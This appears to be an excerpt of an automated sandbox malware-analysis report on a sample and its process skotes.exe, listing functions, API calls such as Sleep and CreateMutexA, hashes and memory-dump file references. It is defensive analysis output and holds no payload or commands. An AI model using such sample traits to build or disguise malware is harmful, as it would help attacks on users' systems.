Opcode ID: f4e82ae7ec535d376db286ee8e18e17fcd3bd368cd954c4eb527ab683312d9a8
Instruction ID: d90fe5c9e5ea3dee85593e45b287be22ef93467a2f6ffcaf1fa45839af9dad73
Opcode Fuzzy Hash: f4e82ae7ec535d376db286ee8e18e17fcd3bd368cd954c4eb527ab683312d9a8
Instruction Fuzzy Hash: 36A1F3B0A016159FDB10EF64C944B9AB7AAFF15320F04C26DE919D7381EB35DA04CBA1

Function 0068BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0068BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0068BBE4
_xtime_get.LIBCPMT ref: 0068BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0068BC13

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 7079cd0c5ceecbfdfe4e3e402e18b5f7032d7e73ac9cfbd38e7bc267108d76ec
Instruction ID: e512e878465e541d5887cf53f0c882ec466eaed402d3601c3ff9d91654a928a2
Opcode Fuzzy Hash: 7079cd0c5ceecbfdfe4e3e402e18b5f7032d7e73ac9cfbd38e7bc267108d76ec
Instruction Fuzzy Hash: ED212C71A00119AFEF00FFA4DC81DBEB7BAEF08720F101129FA01A7261DB349D419BA4

Function 006AF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006AF3A3

Strings

8"m, xrefs: 006AF44B
`'m, xrefs: 006AF375

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"m$`'m
API String ID: 3903695350-2741468995
Opcode ID: 2f38f2424497608d774928bcdd1b43c8821d162389aab0eead0cf24223f3ad76
Instruction ID: dc4c495b36da52f40571f7fa961f62f9e1004cdbe8123a8545dd0d970fc6459b
Opcode Fuzzy Hash: 2f38f2424497608d774928bcdd1b43c8821d162389aab0eead0cf24223f3ad76
Instruction Fuzzy Hash: 1F316C31500201DFDB60BBB9D945B9BB7E6EF06312F10482EE085D6652DF31AC80CE56

Analysis Process: skotes.exePID: 7400, Parent PID: 1040COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	611
Total number of Limit Nodes:	4

Executed Functions

Function 00E2652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00E2652A,?,?,?,?,?,00E27661), ref: 00E26567

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 45d96638b95cb586709b42dedf3f1b8a77cd8b0cadc685e5fa803c55044472b5
Instruction ID: 0c270d94271fecb709f3fe074dcd6c80a51a99d28a3a2f871482474763aa1385
Opcode Fuzzy Hash: 45d96638b95cb586709b42dedf3f1b8a77cd8b0cadc685e5fa803c55044472b5
Instruction Fuzzy Hash: 9FE0C230081218AFCF25BB28E819E9C3B69FF4174DF10AD14FD0856222CB35ED81C680

Function 00DF9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 514aff13b744d4c9a58817db88c46d66f5bd064f4d286a1485396064cb66b4ad
Instruction ID: 39d8b83cb354bbc149d1496ccffbdb16923f913a78af38f7019630433c0ca7d2
Opcode Fuzzy Hash: 514aff13b744d4c9a58817db88c46d66f5bd064f4d286a1485396064cb66b4ad
Instruction Fuzzy Hash: 5C3128B1A042089BEB089B7CDDD577DF7A2ABC5314F24C218E119AB3D5C7B599808761

Function 00DF9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
